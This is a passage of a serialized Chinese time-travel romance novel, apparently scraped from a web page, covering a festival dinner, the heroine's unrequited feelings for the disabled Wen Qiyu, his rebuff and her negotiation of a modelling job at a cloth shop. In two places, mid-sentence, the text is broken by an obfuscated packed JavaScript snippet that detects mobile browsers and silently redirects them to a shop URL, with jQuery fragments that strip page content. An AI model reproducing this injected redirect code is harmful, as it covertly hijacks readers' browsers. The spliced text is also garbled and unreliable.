她斜了他一眼,笑言道:“你好像比我小吧,弟弟?”说着,目光也不知怎的就又飘到了床上,床上的人正看着他俩,她慌忙收回目光,又抬起左臂,“不过既然能驱邪避灾,帮我戴上吧!” 关若飞高兴地将那个虎头护臂戴到了她左臂,毕了又看到她空空如也的手腕:“咦,你白天不是还戴了条五彩手绳吗?怎么不见了?” “丢了。”她的语气淡得听不出任何特别的感情,强忍着没有去看那人的反应。 不过想来他也不会有什么特别的反应。她安慰自己,于温其玉而言,那不过是送她的一条普通绳子而已,至于绳子的特殊含义,从头到尾都只是自己一厢情愿赋予的。 这样一想,她心中的歉疚感也就没那么重了…… 48. 端午家宴 很快,阿力和阿卓就陆续将饭菜端了上来。羊皮花丝、五味杏酪鹅、杏仁豆腐、莼菜拌笋、藕鲊、春笋炖咸肉、桂花鲜栗羹、酒皮玫瑰饼…… 要是放在往常,这些菜一端上桌,叶之萤的五脏六腑早就要活跃起来了,可今天,她一点胃口都没有。 临末了,阿力端来了最后一盘点心,正要摆在她面前:“这是少爷……” 被温其玉打断:“这是给林大夫家的孩子们准备的,不必端来这里,给林大夫送过去吧。” 那盘点心在空中顿住,阿力看了眼叶之萤,又看了眼手里的点心,发现自家少爷是认真的,只好听从吩咐,将东西又端走了。 而叶之萤在阿力将东西端来时便已看清,那是一盘桃花糕。 莫非…… 叶之萤打断了自己的胡思乱想。怎么可能是给自己准备的?温其玉刚刚都说了,是给林大夫家的孩子们准备的。 她心中又升起一些说不清道不明的情绪,如今,好几种情绪同时在她心里,搅和得她不得安宁。 今日之事,若不是温其玉救了自己,自己这会儿已经不知道又投胎到哪里去了。并且为了救自己,他还付出了一枚价值连城的玉环。 理智告诉叶之萤,作为朋友,温其玉对自己可谓已仁至义尽了。按理说自己应该感激他才对,可是她脑子里挥之不去的全是他坐在轮椅上绝望无助的样子,他离自己不过抬起一臂的距离,却眼看着自己被人来回踩踏,什么都做不了。 她很清楚,对温其玉来说,他已经做了他所能做的一切来保护她,自己实在不该对他失望,更没有资格去怪他。可她幻想中的那个人,不该是这样的! 他应该有着亲手将自己于危险之中救出、抱着自己离开人群的力量,而不是眼睁睁看着自己即将死去也无能为力! 叶之萤这才发现,不知不觉中,她已经不是在用朋友的眼光去看待温其玉,也早就不是以朋友的标准去要求他。她对他已然生出了超越朋友的幻想,所以才有了那些越界的贪婪,才会在发现现实与自己的幻想相去甚远后难以自控的失望。 这一切并不是温其玉的错,毕竟这所有的憧憬和幻想都只是她自己的一厢情愿。但这是她的错吗?爱上一个人本身也并不是一件错事啊! 可遗憾的是,如今她爱上的这个人并不能满足她对爱情的幻想,她爱上的是一个不该爱上的人。若是任由这颗种子继续滋生蔓延下去,那便是大错特错! 这顿饭,叶之萤吃得心不在焉,不知不觉,已经自斟自饮灌了十几杯黄酒下肚。 走过人生二十八载岁月的叶之萤,早已不是懵懂少艾的年纪。有时,温其玉对她格外好,好到她也会产生“他一定也喜欢我”这样的错觉。但有时,温其玉的态度又让她觉得,他对自己的好,不过是对自己发现李渔的阴谋、替他找到解药的感谢罢了。 他真的是个很好的人,叶之萤丝毫不怀疑,如若他不是这样的身体,自己定会想尽办法施展媚术勾引他,追他到手。 但说到底,自己只是个俗人。 “怎么今日都这么沉默?”连一向活泼的关若飞都被这凝固的空气搞得有些不自在,他拿起酒壶,给自己斟了杯酒,又从旁边的小盘中取了极少量的雄黄粉倒入酒中,站起来敬温其玉:“若飞借杯中雄黄为兄长驱散病魔,盼年年岁岁皆如愿,岁岁年年长安康!” 说完,就干了手中的那杯酒。 接着,他又斟了杯酒,敬叶之萤:“夜莺,这杯酒敬你,祝你百病不侵,喜乐安康!” 一饮而尽。 叶之萤也斟了一杯酒,起身感谢大家:“这些日子,承蒙大家对我的关照,能在这里遇到你们,实在是我的幸运。这里和我曾经生活的地方截然不同,我原本以为自己在这里可能要不了多久就会被逼得疯掉、或者死掉,但没想到,我不仅活了下来,还活得不错。这一切都多亏了你们,不仅大度地接纳了我这个身份奇怪的人,还不图回报地帮助我、照顾我,我才得以适应这里的生活。谢谢你们!” 那些和温其玉相处的点点滴滴如同幻灯片一样一幕幕在脑海中不断切换,叶之萤情难自禁,举起手中的酒杯一饮而尽。 黄酒的辛辣混合着眼泪的温咸,被她利落入喉。这些话本是她想单独对温其玉说的,如今却只能借由感谢大家的名义说出口。她甚至不敢对上他的眼睛,只敢用余光偷偷观察他的反应,却因为泪眼朦胧迟迟看不清楚。 关若飞拍了拍她的肩,安慰道:“夜莺,别这么说,我们照顾你、关心你,是因为你值得我们这样对你,你能为了兄长多次亲身试毒,仅凭这一点,我关若飞便永远敬重你!虽然你脾气大了点,但是却心地善良、通情达理,虽然经历了生命的艰难,但你不娇气、不抱怨,反而永远充满希望,虽然你貌比芙蓉,但要我说,你更像一株坚韧而倔强的野草,‘野火烧不尽,春风吹又生’。” 关若飞说得动情,只是他不知道,叶之萤本不是一个乐观的人,跌落云端的打击于她而言已足够致命,可在她绝望崩溃、想要以死逃避现实的时候,是温其玉及时伸出的一双手拉住了她,给了她继续活下去的勇气;在她孤独无助、漂泊无依的时候,也是他给了她宽厚的臂膀,让她可以安心依靠;在她迷茫无措、看不清方向的时候,又是他坚定地陪在她的身边,点燃温柔的火光将她眼前照得明亮;在她被人诽谤、遇到危险的时候,还是他挺身而出,为她拭去所有委屈、救她于生死之间。 他在她最落魄的时候收留她,毫无保留地帮助她,而她,却嫌弃他不是自己心中的英雄模样…… 叶之萤为自己的狼心狗肺感到恶心!但想来也不意外,一匹趋利避害、利益至上、狠辣果断的恶狼,才能从激烈厮杀的狼群中闯出来,在娱乐圈打拼多年,自己本就是这样的人,不是吗? 温其玉的声音打断了她的思绪:“听叶姑娘所言,想必是已想通了许多事,如此甚好,今日起你便回房去吧。” 他说得不冷不热,叶之萤没忍住抬头看了眼他,他的表情同他的语气一样不冷不热。 这话听起来似乎是有言外之意。难道他看出自己的异常了? 倘若他真猜出了自己的心思,上午那个逼他共食桃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991671|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花糕、让他宁可舍弃尊严也要为其出头的人,如今恐怕令他失望透顶了吧? 顿时,各种情绪从叶之萤的心头悉数涌出,交织在一起,眼泪突然像决了堤似地往外直涌。 关若飞吓得手足无措,急忙放下手中的酒杯,从袖中取出一块方帕替她擦去眼泪:“夜莺,你怎么了?好好的怎么哭了呢?” “没事,就是……想家了。” 她再也没脸面对温其玉了,从屋子里仓皇而逃。 回房后,叶之萤蹲在地上,将头埋在两膝间痛苦大哭。这些年来,身边的人对她或因身份而谄媚,或因利益而交往,像温其玉这样不图所求、单纯对她好的人,根本没有遇到过。而今终于遇到了,她却伤了他的心。 没过多久,关若飞就来敲门。 “夜莺,好点了吗?”他的语气无不担忧。 她不想扫了大家的兴,也不想让大家看出异样,便硬着头皮跟关若飞又回了那间屋子。然而,身为演员的她今日却怎么也演不好这场戏,家宴下半段,心烦的她只一味占着酒壶一杯接一杯地喝酒。 不知不觉,一壶酒就被她喝尽了,她晃了晃空空如也的酒壶道:“还有吗?” “夜莺,你已经喝得够多了!”关若飞使了个眼色让阿卓端走了酒壶。 “别光喝酒,来,吃个巧粽!”他夹了一只小舟形状的粽子放在她盘中,主动找话题陪她聊天,“你们家乡端午节吃粽子吗?” 酒劲上头,她终于开始说话了:“这是什么粽子?长得好可爱!” 盯着粽子的眼神已经有些发飘。 关若飞麻利地解开绳子,取掉粽叶,一只香甜扑鼻、白白胖胖的粽子就被他剥出来了:“尝尝和你们那里味道一样吗?” 她却没有接过粽子,而是直接握住了他的手腕。 关若飞的手修长、有力、灵活、骨节分明,她的手指在那只手上游走,仔细体会着那种正常的、健康的触感,心中感慨万千,为什么温其玉没有这样一双健康的手! 关若飞被她这突如其来的一摸吓得差点扔了手里的粽子。 “夜……夜莺……你……”他慌张地抽出手,把粽子放在她的碗中,久久不能平复心情。 她看他慌张的样子,“噗嗤”一声笑了起来:“别紧张,我只是突然发现,你的手长得很好看!” 此时,一直一言不发的温其玉开口了,他吩咐阿力:“叶姑娘喝醉了,先送她回房,再熬碗解酒汤送过去。” 谁知叶之萤一听这话,却闹起了脾气:“这么急着赶我走?我粽子还没吃呢!” 温其玉见她已经神志不清,只好耐心安抚:“那你慢慢吃,没有赶你走。” 结果,她只咬了一口就把粽子扔回了碗里,一脸嫌弃道:“有红枣,不好吃!” 温其玉:…… 她脚步飘忽地回了房,关若飞跟在她身后,指着西南方向的那座雪山,趁她微醺之际约她过几日一起去登山。 叶之萤平时素喜运动,尤其喜欢跑步和爬山,如今这个提议正好提到了她心坎上,便爽快应了下来。 49. 退回朋友 可是第二日一大早,本欲约叶之萤去爬山的关若飞就因有事匆匆离开了黎城,而心虚的叶之萤也因为没脸面对温其玉,躲在房里迟迟不敢去换阿力,直到阿力亲自来叫,才硬着头皮去了隔壁。 一推门,就看见一副生面孔站在温其玉床边,阿力指着那人给她介绍:“叶小姐,这是荣祥,专门负责照顾少爷,日后……就无需你再费心了!” 叶之萤顿时懵了头,连招呼都没反应过来和荣祥打一个,温其玉就朝阿力使了个眼色,让阿力带着荣祥出去了。 她心想,一定是自己昨日的态度被温其玉察觉到了,他自觉受到了伤害,所以现在要和自己划清界限了。 可是,只要一想到以后都不能再像从前那样和他相处了,再也不能自由进出这间屋子了,她心里突然就很难受,非常非常难受,控制不住得难受,那种滋味又酸、又苦、又涩,从心里直朝上涌,涌到喉咙、鼻腔,又从格外通畅的泪腺冒了出来…… 她不想再哭了,这些日子,自己已经哭得太多了,并且,明明是自己先嫌弃他的,怎么还能奢望他在察觉到一切之后还能当作什么都没发生过那样对自己好呢?即便他真的如圣人那般、还能不计前嫌地接纳自己,自己也没脸再像从前那样出现在他面前了。 “叶姑娘。”他先开了口。 一听到他的声音,眼泪就再度失控,叶之萤慌慌张张背过身去,不敢面对他。 可身后的人声音却意外的像往常一样温柔:“你站那么远,又不看我,可是又生我的气了?” 这样的语气无疑是在向她传递一个信息——他并不怪她。 可这却让叶之萤哭得更厉害了。他越好,就越显得自己卑鄙。 “到我床边来,我有话与你讲。” 叶之萤心里“咯噔”一下,不知道他要说什么,她有些不敢面对,一双腿杵在原地迟迟不动。 身后的人见叫不动她,为难道:“叶姑娘不肯过来,莫非是要我过去?” 现如今,叶之萤实在听不得任何与他身体有关的话,便红着眼走到了他面前,也不敢像往常那样放肆地坐在床上,而是站在床边低头罚站。 他的目光在她脸上扫了一遍,眉心便不自觉皱了起来:“坐吧。” 他开了口,她既不敢不坐,又不敢放肆地坐,说是坐,其实也只是屁股刚刚挨到床沿而已,且已经坐到了床尾,远得温其玉得侧着头才能看清她的脸。 “你想说什么……说吧!”她紧张地两只手攥成了拳,撑在腿上。 温其玉看着一向开朗大胆的她今日竟变成了这般唯唯诺诺的模样,心里亦不是滋味,便道:“今日叫你过来,是想对你道声感谢!” 感谢?叶之萤愣住了。 他继续说:“这些日子多亏了你的照顾,我才得以恢复得如此快,但将你困在这间屋子里,让你日复一日地照顾我,实在过于自私和残忍。如今你渐渐适应了这里的生活,我想,是时候走出去看看外面的世界了。” “外面的世界?”她还是没有明白,这是要赶她走吗? 如今,她已不再害怕露宿街头,可是,对与眼前之人分开的恐惧又占据了她的大脑。 她的惊慌和恐惧被温其玉看在了眼里,他安慰她道:“不要多心,叶姑娘,我并非要你离开,只是要你整日围在我的床边打转,实在委屈了你。你不该被我困在原地,而是应当继续向前走,日后,你定会遇到更好的人,过上更好的生活,拥有更多的选择,会比现在幸福得多。” 原来,他不是要赶自己走。 可他为什么要在这个时候对自己说这样的话? 叶之萤小心试探他的心思:“你是不是怪我……” “没有!”他斩钉截铁地否认,而后,望着她的那双眼睛渐渐涌起痛苦,“是我未能保护好你,抱歉!” 果然,他什么都知道。 窗户纸一旦捅破,叶之萤更觉自残形愧,心里的悔恨一股脑倾泻而出:“不是的,你已经做得很好了,是我自私,是我狼心狗肺!你怪我也是应该的,我……我不值得你对我好。对不起!真的对不起!” “不要如此贬低自己。”他不许她这样说。 “哪有贬低?只不过实话实说罢了。温其玉,你要是恨我,就大胆地说出来吧,骂我也可以,赶我走也可以,唯独别再对我好了,我这样的人,根本不配你的好!” “我不会让你走的!”温其玉眼中此时透出前所未有的坚定,再次郑重地对她说,“我答应你会照顾你,便会说到做到。” “你到底图什么啊?我都……温其玉,我这样对你,你还要照顾我,你是不是傻呀?”叶之萤实在不能理解,他又不欠自己的,为何连这样的自己都能继续包容?他到底为什么不生自己的气? “倘若你觉得我如此待你是傻,那我便承认我是傻。但你不要如此贬低你自己。若真如你所言,你是个自私自利之人,又怎会仅因自己的一个念头就如此自责痛苦?你怕自己的念头伤害了我,只有心思纯良之人才会如此在意别人的感受。” “别提我开脱,我只是自私得还不够彻底罢了……” 温其玉却笑了起来,而后又道:“我从未见过哪个自私之人会如你这般承认自己自私。” 叶之萤无言以对。 “叶姑娘,每个人都有选择自己生活的权利,你只不过是遵从自己的内心,选择了你认为正确的那条路,何须自责?” 他的话潺潺流进叶之萤心里,温柔地洗涤着她心里那些难以言表的苦楚。她小心翼翼地问:“你真这么想?不怪我?” 床上的人笑言:“若我对叶姑娘有情,恐怕自信心是会遭受一些打击,但也绝不会因此责怪于你。况且,我本无意于你,自然更加不会怪你,你切莫再要自责。” 无意于我……叶之萤的心跳突然停了一拍。 他在此刻说出这样的话,自己应该觉得轻松才对啊!可是……为什么不仅没有丝毫轻松,反而会这么失望? “我听你的!那个荣祥,可靠吗?”怕他看出自己的异样,叶之萤不着痕迹地转移了话题。 “他自幼便一直是我身边之人,你尽管放心。” “那,我以后……” “你既然识字,那边书架上的书全都可以拿去看,那些书所涉及的方面很广,多看一些能助你增长见闻,亦能帮助你更深入地了解这里的风土地理、文化人情,有看不懂之处可以随时拿来问我。如若你想到处走走看看,去游山玩水,我便为你安排车马路线,派可靠之人保护你。若是你想学什么手艺,告诉阿力,他会帮你准备材料,安排师傅教你。另外,你的外貌太过耀眼,黎城地处边境,并不安全,我已命人按你的身高身形为你备了几套男子的衣裳,这几日做好后便送去你房里,日后出门时定要记得换上。”在昨日得知她的态度后,温其玉不仅没有责怪她,反而在一夜之间又为她的未来计划了这么多。 “好,我知道了,谢谢你!”她更加内疚了。 他的目光随即落在远处的书桌上:“桌上那个褐色雕花木盒,是我特意为你准备的,里面放着些银钱,你拿回房去,不要拒绝。” 叶之萤点头,她如今欠了温其玉一个这么大的人情,哪里还敢拒绝…… 这时,他突然话锋一转,讲起了黎城的情况:“黎城虽小,但自然条件优越,土地肥沃,还是邺国有名的花城和茶城,又因位处边陲,比其他小城多了许多与邻国贸易往来的机会,因此百姓大多生活富庶。昨日你买衣裳的那间沈氏布庄,就是黎城最大的一间布庄,里面的布匹品种多、衣裳样式好,许多做买卖的小商贾、书香世家的千金、少爷们,都喜欢在那里定做衣裳。” “噢,这样啊。”叶之萤并不知道他为什么突然说起这些,只好附和着点头。 他继续说道:“做贸易的人为了彰显自己的实力,面对顾客不会总穿同一件衣裳;文人墨客为了彰显自己的品味,更是每日衣不重样;书香世家的子女多重礼仪,再加上生活大多悠闲,日常除了吃喝玩乐以外,梳妆打扮便是她们最大的爱好;即使普通庶民,爱美之心亦是不落下风。这便是黎城的风气。不知昨日你是否发现,黎城街上的女子皆簪花敷粉、身着罗绮。你昨日所购的衣裳一套二两银子,这个价钱在京城也不算便宜,可沈氏布庄却依然门庭若市,说明这里的人非常愿意把银 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他笑言道:“倒也没有那么夸张。昨日你不是也进去看了吗?” “这还不夸张?一套衣服十六两啊,还是店里最普通的布料,已经是黎城普平民百姓不吃不喝半年的收入了!”她意识到自己跑偏了,赶紧回到正题,“你刚才说的沈氏布庄的问题到底是什么?” “沈氏布庄的受众群体多为种花种茶的商贾、田产颇丰的地主等,这些人家每月虽有几十两入账,不愁吃穿,但要养活一大家子人,亦做不到随心所欲购买成衣,因此他们大多还是在沈氏买布料,再自己缝衣,如此做法,一件衣服的成本便只有成衣的不到四成,甚至更低。但沈老板看旁边的福裕绸庄成衣卖得很好,也不甘心只卖布料,便在数月前请了几位裁缝试图推广成衣,但效果却并不好。” “等等……”她打断了他。 “怎么了?”他一脸困惑。 “这些事,你又是怎么知道得这么清楚?”他虽然比她来黎城的日子早些,但之前从没出过门,而他的性格显然也不会对这些事情感兴趣,如今却说得这么详细,不禁让叶之萤起了疑心。 “黎城并不大,这些事情也不难打听。”他说得轻描淡写,仿佛这是一件随随便便就能摸清的事。 但叶之萤虽从中听出了更大的信息量——他承认了这些都是特意为她打听的! 心中顿时一喜。 他继续道:“昨日我们在店里挑衣裳时,虽然顾客很多,但大部分都在犹豫,若不是新衣穿在你身上刺激了他们的购买欲,他们不见得会选择成衣。” 叶之萤慢慢消化着他的话:“也就是说,沈氏布庄的成衣价格定位尴尬,能买得起的不愿意买,愿意买的又觉得贵?所以,沈老板需要一个能为他推销成衣的人,而你认为,我可以去?” 他笑着点了点头。 “温其玉,你真有商业头脑,我昨天挣了二两银子,都没想过还能这样挣钱。” 他被夸得有些不好意思:“昨日我坐在店中无事可做,便随便观察看看。” 随便看看?分明是那时就开始筹划了!叶之萤再也不会相信他这些轻描淡写的鬼话了。 “可是,你真的觉得我可以吗?”虽然带货这件事对叶之萤来说实在是信手拈来,可这里毕竟与现代不同,面对这个完全陌生的世界,叶之萤难免有些担忧。 温其玉对她信心十足:“既然你还是从前的自己,那么从前可以,现在自然也可以。” “是吗?”她仍然有些不自信。 只听他说:“叶姑娘,无论是疾风还是骤雨,都无法阻止一只羽翼丰满的鹰在天际自由翱翔。但倘若它自折羽翼,再不向往青天,那便当真再也飞不了了!” 一语点醒梦中人! 眼前这个人,当真是一个言而有信、言出必行的人。说会照顾她,就真的尽心尽力地照顾;说会教她赚钱,就真的为她谋划赚钱的办法;知道她想过和从前一样的生活,就不遗余力地鼓励她去追求梦想。 “温其玉,谢谢你!”她不知道要怎么才能报答他,只能一遍又一遍地感谢他,感谢多少遍也不够…… 50. 有工作啦! 两日后,叶之萤又一次来到了沈氏布庄门口,温其玉特意派阿力陪着她一起。 “这位小姐,又要做新衣裳吗?里面请!里面请!”不知是认出了她本人还是认出了她身上的衣服,老板毕恭毕敬地出门相迎。 “掌柜的,我今天来不是做新衣裳的。”她如实相告。 “哦?那是?”老板脸上的笑容瞬间便被好奇取代。 “不知道您这布庄需不需要专业的模特呢?” “模特?”老板一脸困惑,显然是不明白眼前的女子在说什么。 叶之萤跟他解释道:“就是帮您试穿店里的新款成衣给顾客看,提高成交率。”怕他还不理解,又提醒他,“就像那天那样。” “就像那天那样?”老板有些明白了她的意思。 “对对!”她急忙点头。 看得出来,沈老板对她的提议有些动心,他眯着眼睛思忖起来,手指还时不时在空中打着什么,过了一会儿,他抬眼对她说:“这位小姐,您稍等片刻,待我再算一算。” 她客气地询问老板:“我可以到处看看吗?” 老板点头:“请便!” 说完,沈老板便独自走到柜台里,从抽屉里取了账本出来,又将不远处的算盘拉到面前,一边翻着账本,一边打着算盘。 叶之萤也借机将这家店好好地观察了一番,这家店除了老板外,还有两个裁缝,这两个裁缝每人一张大工作台,工作台上都放着一些剪裁好的布料,二人都正忙着缝衣服。旁边还有一张工作台没有坐人,但上面放着三套叠好的衣裳,看样子是已经做好的。而叶之萤发现,这些布料全都是前两天她试穿的那几套衣服所用的布料。 “这位小姐,请问怎么称呼?”老板已经将账本放了回去,来到了她身边。 能这么问,八成是有戏。 “叶之萤,叶子的‘叶’,之乎者也的‘之’,萤火的‘萤’。”她答。 “叶小姐,我这布庄十日来一批新布料,如果请您来店里做……模特,每个月来三日,你觉得多少报酬合适?”沈老板没有绕弯子,直接开门见山地问她。叶之萤就喜欢这样的爽快人。 这两天,她已经向温其玉打听了黎城的店面租金和裁缝工资,还有不同布料的成本。令她吃惊的是,温其玉对这些情况全都了如指掌。她开玩笑说,若不是亲眼见他确实足不出户,她一定会以为他在偷偷经营布料生意。温其玉听她这么说,也只是笑一笑。 据他所说,像沈氏布庄里的布料,一匹布的成本大多一百到五百贯,能做普通上襦十到十五件,长衫七到八件,披风、长裙、破群、马面五到六件。 算下来,一件上襦的布料成本只有十到五十贯不等,而用料最多的裙子布料成本大多在三十到八十贯之间,比叶之萤想象的低很多。反倒是店铺租金、手工费比布料成本要高许多。 也就是说,如果店里卖一件做披风所需的布料,大约需要七百钱,利润四百钱左右。 可一件同样面料的披风成衣,定价算三两银子,刨除布料成本、配件费用、人工费用和店面成本,最少还能赚二两,利润是单卖布料的五倍。怪不得沈老板铁了心要推广成衣! 一件衣服将近七成的利润!在服装利润这方面,古代倒是与现代相得益彰、不遑多让。 也就是说,如果她一次能为沈老板推销出去十套衣服,那就能帮他挣至少20两的纯利润。 “一次五两保底,假如当天的销售额超过三十两,超过三十两的部分,我再拿一成的提成。譬如,当天的销售额是五十两,我拿五两外加二十两的一成,总共七两。” 沈老板听她这么说,显得有些为难:“五两保底?叶小姐,我们布庄小本生意,挣得都是辛苦钱,我可以按你说的,超过三十两的部分再给你一成的提成,但保底五两太多了,三两外加提成你觉得如何?” 叶之萤已经算过账了,自然不会同意:“沈老板,您这店里中高端成衣不好卖吧?” 她这话刚说出口,沈老板脸上就显现出窘迫的表情。 “黎城人虽然爱打扮,但对大部分人来说,动辄五、六两一套的衣服实在不是随随便便就能买的,您现在头疼的问题不是店里生意不好,而是生意虽好,却大都是买布料回去自己做,可卖布料利润有限。就算客户选择在店里定制也都是些低端布料,一套一两、二两的,裁缝每天不停地做,却没多少利润。一个熟练的裁缝一个月能做15套衣裳就算很多了,你这里应该是有三个裁缝吧?就算一个月能做40套衣裳。对于这几个裁缝来说,做40套二两的衣裳和做40套四两的衣裳,工钱几乎是一样多的,但对您来说,利润可差了一倍多呢!更何况,我看现在店里一个月定做的衣裳应该远远不到40套吧?”她指着那边空着的工作台说,“那些工作台上放着的布料都是那天看我试穿后选择定做的客人留下的吧?” 眼看店里的情况被眼前的女子说得八九不离十,沈老板也不再争论,便是默认了。 叶之萤继续说:“我一个月来三次,从开门待到闭店,午时休息一个时辰,每次帮你多卖十几套衣裳肯定没问题,上次我才在店里待了半个时辰左右,就卖了那么多套,您算算这账,请我来绝对只赚不亏!而且,我不光可以做女装模特,还可以做男装模特!” “男装?”沈老板之前绝对没想到这一点。 眼前的女子往他面前靠了靠,用手对着两人的头顶比划了一下,说:“您看我这身高,比您还猛一点呢,做男装模特绰绰有余,不信,您拿套男装来,我给你穿上看看!” 沈老板又将她从头到脚打量了一番,然后,他真的去取了一件男款的长衫让她试穿。待她穿好出来后,他看到眼前之人俊美无双、貌若潘安的扮相,忽地意识到此人对布庄的重要性。 叶之萤发现沈老板的眼睛明显亮了起来,便笑着问他:“沈老板,你觉得如何?” “妙啊!妙啊!”他如获至宝般地围着她来回看,“不过……”他话锋一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991673|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转,又犹豫起来。 “沈老板,可还有顾虑?”她问道。 “刚刚叶小姐说的那些条件前提都是替布庄挣到了钱,那万一,叶小姐不能为本店拉到额外的生意,或者说,布庄的收入并没有因为你而有明显的提高,那我若是还要支付叶小姐五两银子,岂不是亏本了?”沈老板说得坦诚,仔细想来,他的顾虑也并无道理。 “沈老板,方不方便问一下,平时本店上新之日的营业额大概有多少?” “少则十五,多则二十。” “那这样吧,如果我来的那天,本店营业额没有超过三十两,你只需要付我二两辛苦费即可,怎么样?”为了得到这份工作,她也必须做出一些让步。 见沈老板还在犹豫,叶之萤继续摆出自己的优势:“沈老板,我不光能为顾客试衣,还可以给您提供成衣的设计方案。您想推广成衣,那衣裳的款式就格外重要,倘若只是普通款式,顾客买布料回去自己做就是了,但如果成衣的款式足够吸引人,那大家自然就愿意花钱了!” 沈老板几乎不可能不心动了。 她一鼓作气继续说:“这对您来说几乎没有什么风险了,风险小回报高,最坏的结果不过就是损失二两银子罢了,沈老板能开这么大的店,二两银子的魄力不会没有吧?” 激将法果然起了作用,沈老板当即决定:“叶小姐,既然如此,本月十五你便来店里,我们布庄辰时营业,酉时闭店,你可在未时休息半个时辰。” 辰时,早上七点,酉时?子丑寅卯、辰巳午未、申酉戌亥,她在心里默背十二时辰,以推算出酉时的具体时间。亥时是九点,戌时七点,酉时,那就是五点。 早七晚五,中午休息一个小时,也就是工作九小时,好像还不错,便一口应下:“沈老板,我还有一个要求,工钱当日结算。” “可!”沈老板爽快答应。 “那我们立个字据吧!”毕竟口说无凭,还需要一个劳动合同。 很快,沈老板便写好了字据,将字据直接交到了阿力手上。叶之萤又从阿力手中接了过来。 “叶小姐识字?”沈老板惊讶不已,他原本以为她不识字,才将字据交给了她身边那位男子。 “认识一些。”她没有张扬。 这张字据一式两份,上面的内容一模一样,写着:“壬辰龙年五月初八,沈氏布庄因少人力,遂雇叶之萤自本月起每月初五、十五、二十五日来布庄试衣,每日辰时到店,酉时离店,未初休息。与布庄生意相关事宜皆须听沈大成之言,若私自行事,契约终止,若损坏布庄物品,须照价赔偿。叶之萤每日工钱为五两银子,若当日布庄日利超三十两银子,则额外支付其超出部分一成利,若当日布庄日利少于三十两银子,则工钱降为二两,无提成,工钱当日结算。今欲有凭,立契存照。” 二人分别在上面签字按了手印,阿力作为担保人同样签了字按了手印,之后叶之萤便将自己那份契约装好,找工作一事就算圆满完成了! 51. 愈发生疏的两人 回去的路上,叶之萤又是哼歌又是跳舞的。找到了工作,人也不心烦了,也不抑郁了,看什么都顺眼了。 “可算是找到一份工作了,以后也许就能自己养活自己了!”她对身旁的阿力感慨,“还得感谢你家少爷。” “那也得你有能力,才能抓得住机会!”亲眼见到她面试时的能说会道和游刃有余后,阿力才知自己对这个美丽女子的认识有些肤浅了。 “对了,之前你给我的那些棉布条和棉花,还能不能再帮我准备点儿?”叶之萤变回自己的样子有一个多月了,算起来也该到经期了,为免工作时弄脏沈老板的样衣,便想着提前准备些卫生用品。 阿力听完她的话先是反应了一下,而后才说:“那些啊,那些其实都是少爷吩咐我准备的,当时你生他的气,他怕你知道东西是他准备的不愿意用,才命我不要说出来。” “哦,是吗?”叶之萤心中一喜,喃喃自语道,“那他有心了。” 再开口时,她的眼尾已经漾起了遮掩不住的笑纹:“阿力,那个荣祥,工作仔细吗?” “荣祥本就是跟着少爷的家仆,跟着少爷一起长大,在江南府中一直照顾少爷的生活起居,是很稳重细心的一个人。”他道。 “那……怎么现在来黎城了?”她假装随口一问,实则是想打听是不是温其玉为了赶她走才临时找来这么一个人。 “夫人知道了李渔的事,担心这边没有可靠的人照顾少爷,便派荣祥过来了。” “噢,是这样啊!”原来不是温其玉的主意。 “叶小姐,你笑什么?”阿力用奇怪的眼神打量她。 “噢,没什么,你家夫人对你家少爷很好啊!”她胡乱找了个理由。 阿力却一下打开了话匣子:“那是自然,老爷和夫人共生了四个孩子,两个少爷两个小姐,我们少爷是家中最小的孩子,也是他们最疼爱的孩子,是含着金汤匙长大的。夫人对少爷可谓是爱到了骨子里,儿时从不舍得打骂,一点苦都不准吃。而少爷也一直都是夫人的骄傲,不论琴棋书画还是弓马骑射,都是顶尖得好,夫人每每提起少爷,都骄傲得不得了!” 一点苦都不准吃的人,如今却吃尽了这人间的苦…… “那他如今这样子,你家夫人怎么接受得了呢?”人到暮年,最爱的孩子却变成了这般模样,这样的打击,让一个已经年迈的母亲如何承受? 叶之萤不禁想到了自己的父母,他们是断不用经历这些痛苦的,想必现在已经继承了她的巨额遗产吃香喝辣了吧。 想到这里,一股无可奈何的愤怒从她胸中涌起。 阿力亦是叹起了气,满面愁容:“夫人倒是很坚强,这一年她多次给少爷来信,说不管少爷变成什么样,都永远是她最爱的孩子,如今她年岁渐长,身体一年不如一年,不知道这辈子还能和自己的儿子再见几次面,她只想再好好地抱抱自己的儿子,像儿时那样给他穿衣、喂饭、梳头,亲自照顾他一段时间,也算是尽了母子的情分,以后就算去了,也再无遗憾。可少爷却执意不肯见夫人,哎!” 天边的夕阳染红了眼前的香雪山,整个黎城此时都笼罩在一片泛着金光的红色中,原本是极美的景色,叶之萤却觉得有些悲壮和感动。山顶的雪虽然被夕阳所映红,但在这初夏时节,它依旧刺骨寒冷,依旧洁白不化,它看似融入在这夏日的傍晚,却又始终绝世独立,倔强地与灼热的日光搏斗着,努力维持着那片白茫茫的尊严。 叶之萤开口安慰阿力道:“本该照顾父母的年纪,却不仅不能尽孝,还让母亲为自己操碎了心,他心里肯定不好过。从一个那样优秀的人、从整个邺国的骄傲变成现在这个样子……多给他些时间吧!” 让温其玉放下自尊、放下那个曾经骄傲的自己,以一个失败者的姿态重新面对家人的目光,不再有仰望和崇拜,只剩下可怜和同情,何其残忍啊! 